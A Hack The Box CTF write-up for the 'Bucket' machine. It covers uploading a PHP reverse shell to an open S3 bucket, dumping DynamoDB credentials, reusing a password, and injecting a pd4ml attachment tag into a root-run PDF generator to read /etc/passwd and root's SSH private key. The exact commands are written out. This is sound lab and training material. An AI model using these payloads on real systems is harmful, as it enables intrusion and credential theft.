Hack The Box: Bucket write-up
Bucket was a medium box which, as you might deduce from the name, had some AWS S3 (and DynamoDB) stuff. It starts off with a publicly writable bucket which we can use to get a foothold into the box via uploading a simple PHP script with a reverse shell. Once in the box we see that the user has a project in development running locally as root, which we can use to read arbitrary files through the PDF generation feature.
Let’s start! The IP of the machine is 10.10.10.212
.
Enumeration
I start by enumerating open ports to discover the services running in the machine. I’ll first add bucket.htb
to my /etc/hosts
file, then fire up nmap:
Result of nmap scan
1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.80 scan initiated Mon Nov 23 23:02:43 2020 as: nmap -sV -sC -oA nmap/initial bucket.htb
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.016s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 23 23:02:55 2020 -- 1 IP address (1 host up) scanned in 12.46 seconds
Not too much, just SSH and HTTP on the standard ports.
Port 80 enumeration
We can see that there is some sort of advertising platform.
Main website
By looking at the source code we can see a new virtual host for the machine: s3.bucket.htb
.
Main website source code
I added it to my hosts file and tried to use the AWS cli to test whether the bucket was properly configured, i.e if I was able to upload files.
Listing bucket contents and uploading a text file
Cool, so there was a bucket called adserver
and managed to upload files with aws s3 cp poc.php s3://adserver/poc.php --endpoint-url http://s3.bucket.htb
. At this point I didn’t realise that I could actually exploit this further and kept searching (silly, I know).
DynamoDB enumeration
I started bruteforcing and found two endpoints: /health
and /shell
.
Bruteforcing the s3 vhost
Weird, the /shell
endpoint redirects to a weird domain… I was out of ideas while trying things when I accidentally typed /shell/
and was greeted with a console!
DynamoDB Web Shell
Having never used DynamoDB I started taking a look at the AWS Javascript SDK API reference and DynamoDB and came up with the following JS snippet:
1
2
3
4
5
6
7
dynamodb.listTables({Limit: 10}, function(err, data) {
if (err) {
console.log("Error", err.code);
} else {
console.log("Table names are ", data.TableNames);
}
});
Getting tables
Then I got the table schema:
1
2
3
4
5
6
7
dynamodb.describeTable({TableName: 'users'}, function(err, data) {
if (err) {
console.log("Error", err.code);
} else {
console.log("Table: ", data.Table.KeySchema);
}
});
Getting users table schema
And finally I dumped the whole table with
1
2
3
4
5
6
7
8
9
10
11
12
var params = {
TableName: 'users',
Select: "ALL_ATTRIBUTES",
};
dynamodb.scan(params, function(err, data) {
if (err) {
console.log("Error", err.code);
} else {
console.log("Table: ", JSON.stringify(data, null, 0));
}
});
Dumping the users table
Juicy credentials! I tried to use them for SSH but none worked so it seemed like I was missing something…
1
2
3
Mgmt:Management@#1@#
Cloudadm:Welcome123!
Sysadm:n2vM-<_K_Q:.Aa2
One thing I wondered about was whether there was any cli command to do what I just did and indeed there was:
1
2
aws dynamodb list-tables --endpoint-url http://s3.bucket.htb
aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb
Rabbit hole with EC2 metadata
I stumbled upon https://s3.bucket.htb/latest/meta-data/
and was puzzled that this returned data, since this was supposed to be an S3 bucket and not an EC2 instance. I tried to get keys but it seemed like this was a rabbit hole so after not finding anything I just moved on.
EC2 metadata
Getting User
S3 bucket arbitrary file upload
I went back to the S3 bucket stuff and retraced my steps to realise that I was stupid. The things I tried at the beginning were uploading PHP scripts and then accessing them at https://s3.bucket.htb
, which obviously wasn’t working since S3 is only used for static content. What I should’ve done was accessing them through https://bucket.htb
, which I knew was linked to the bucket because the pictures on the blog were the ones from the bucket.
Accessing uploaded file in bucket.htb
Cool so it works, now I just need to upload a PHP script and set up a listener with netcat.
Initial reverse shell
I had to do this a few times for it to work, as it seemed that there was something deleting everything new every some time. Once in I saw that there was a user called roy
that had some kind of project.
Basic recon in the box
Interestingly enough, this project thing seemed to be coded to listen on localhost, maybe it is running?
Project config
Before doing anything else I thought of improving my shell and figured that maybe one of the passwords I found earlier could work with roy
.
Getting Root
Project enumeration
The sysadmin password did the job and I was in with roy:n2vM-<_K_Q:.Aa2
.
SSH access as Roy
However, there wasn’t anything else interesting under ~/project
so I decided to further enumerate the box.
Bucket App enumeration
I found a bucket-app
directory on /var/www
that was new to me so I took a look at it.
Bucket App on /var/www
It seems that this was the continuation of the previous project I saw earlier, as it has the same configuration for the DynamoDB stuff. There were extra things:
- The main code login takes place when we make a
POST
request withaction=get_alerts
as data. - It seems to connect to the DynamoDB on port 4566 to retrieve data.
- It gets data from the
alerts
table, specifically the rows wheretitle
isRansomware
. - It gets that data and writes it to HTML files and then calls the jar to generate the PDF.
index.php contents
The call to pd4ml_demo.jar
, which we saw in the directory list earlier, was interesting. I googled it and saw that it was an HTML to PDF converter for Java.
Pd4ml website
My obvious next step was checking whether this was running on the box so I used ss -lntu
to get open ports. 4566
was up, which meant that probably it was!
Ports listening on localhost
Project running on localhost:8000
Right, so now we know that the application is running on port 8000 and can try a POST
request with action=get_alerts
as data.
Making a POST request to the application
I got a 500, which was weird. Then I run the PDF generation command and it seemed like only root had access to that directory, which meant that the application was running as root.
Just out of curiosity I wanted to look what the app looked like, even though there was really nothing on it. I used an SSH tunnel: ssh -L 8000:127.0.0.1:8000 roy@bucket.htb
.
SSH tunneling to access the app
Then I went back to the 500 error and tried to see where it was coming from. Given that the app was trying to get information out of the database I figured the first step should be to check what kind of data it has. To my surprise the alerts
table didn’t even exist!
Listing the tables on the local DynamoDB instance
After reflecting on it, this made sense since it was supposed to be an app in development so maybe that part hadn’t been done yet. With all these hints I knew what the way to root was:
- Create the
alerts
table. - Add a row that contains some crafted data and make a POST request to trigger the PDF creation.
- Somehow find a way to exploit the PDF generation step with that crafted data.
1. DynamoDB table creation
This first step wasn’t too complex, it was mainly googling for stuff and finding the correct arguments to pass to the command. Finally I got to:
1
aws dynamodb create-table --table-name alerts --atribute-definitions AttributeName=tittle,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566
Broken down:
aws dynamodb create-table
is the AWS CLI syntax to create a table in DynamoDB.--table-name alerts
is self-explanatory--atribute-definitions AttributeName=tittle,AttributeType=S
creates a string attribute (like SQL column)--key-schema AttributeName=title,KeyType=HASH
indicates that title is the primary key of the table.KeyType
can beHASH
, which indicates that this value is unique for every row and hence the primary key, orRANGE
, which means that the primary key of the table is the combination of the hash and range keys.--provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5
states the amount of read and write activity that the table can support.--endpoint-url http://127.0.0.1:4566
is the DynamoDB URL.
Creation of the alerts table
Table created
2. Adding data to the table
Again, this was based off reading the documentation and googling. The command is simpler than the last one, the only thing to explain is that for each attribute we need to specify the type, that’s why there is an "S"
key before the value.
1
aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "hello this is a test"}} --endpoint-url http://127.0.0.1:4566'
As that was done I tried to run the command and the PDF was generated with the content from the table.
Adding data to the table
Created PDF
3. Exploit the PDF generation
Cool, so now we have the PDF generation working, we just need to find a way to exploit it. Keeping in mind that this was generated with root permissions I thought that we should be able to include local files through some pd4ml
special syntax. Following https://pd4ml.com/cookbook/pdf-attachments.htm I got <pd4ml:attachment src="file:/etc/passwd" description="attachment sample"/>
and added it to the data attribute:
1
aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment src=\"file:/etc/passwd\" description=\"attachment sample\"/>"}}' --endpoint-url http://127.0.0.1:4566
Note that we need to escape double quotes. I generated the PDF and after running strings the file contents were there!
Local file read as root
To get a root shell I included /root/.ssh/id_rsa
instead to get the root user private SSH key. Now, I needed to generate the table each time because it was getting deleted so I just combined the two commands in a one-liner:
1
2
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566 \
&& aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment src=\"file:/root/.ssh/id_rsa\" description=\"attachment sample\"/>"}}' --endpoint-url http://127.0.0.1:4566
Getting root’s private key
Then we can just SSH in with the key and get the hash!
SSHing as root
Afterthoughts
As always, someething I like to do when I root a box is to see how things work. On this case there were a lot of scripts in the root directory.
/root directory list
We can see that the local DynamoDB instance works via Docker and that the adserver was being wiped clean every 60 seconds, which was annoying.
Box scripts
Another interesting script was restore.php
, called in restore.sh
above. This proves my idea that the alerts
table wasn’t yet created as $params
is only passed to $dynamodb->deleteTable($params)
but not to $dynamodb->createTable()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/php
<?php
require '/var/www/bucket-app/vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;
$client = new Aws\Sdk([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$dynamodb = $client->createDynamoDb();
$params = [
'TableName' => 'alerts'
];
$tableName='users';
try {
$response = $dynamodb->createTable([
'TableName' => $tableName,
'AttributeDefinitions' => [
[
'AttributeName' => 'username',
'AttributeType' => 'S'
],
[
'AttributeName' => 'password',
'AttributeType' => 'S'
]
],
'KeySchema' => [
[
'AttributeName' => 'username',
'KeyType' => 'HASH'
],
[
'AttributeName' => 'password',
'KeyType' => 'RANGE'
]
],
'ProvisionedThroughput' => [
'ReadCapacityUnits' => 5,
'WriteCapacityUnits' => 5
]
]);
$response = $dynamodb->putItem(array(
'TableName' => $tableName,
'Item' => array(
'username' => array('S' => 'Cloudadm'),
'password' => array('S' => 'Welcome123!')
)
));
$response = $dynamodb->putItem(array(
'TableName' => $tableName,
'Item' => array(
'username' => array('S' => 'Mgmt'),
'password' => array('S' => 'Management@#1@#')
)
));
$response = $dynamodb->putItem(array(
'TableName' => $tableName,
'Item' => array(
'username' => array('S' => 'Sysadm'),
'password' => array('S' => 'n2vM-<_K_Q:.Aa2')
)
));}
catch(Exception $e) {
echo 'Message: ' .$e->getMessage();
}
$result = $dynamodb->deleteTable($params);
Conclusion
This is everything, I hope you enjoyed the writeup and learned something new. It was definitely a cool box that made me learn a lot about new things, but most importantly taught me to think what the box is used for and where the vulnerabilities could be. If you liked it you can give me respect on Hack The Box through the following link: https://www.hackthebox.eu/home/users/profile/31531. Until next time!
Diego Bernal Adelantado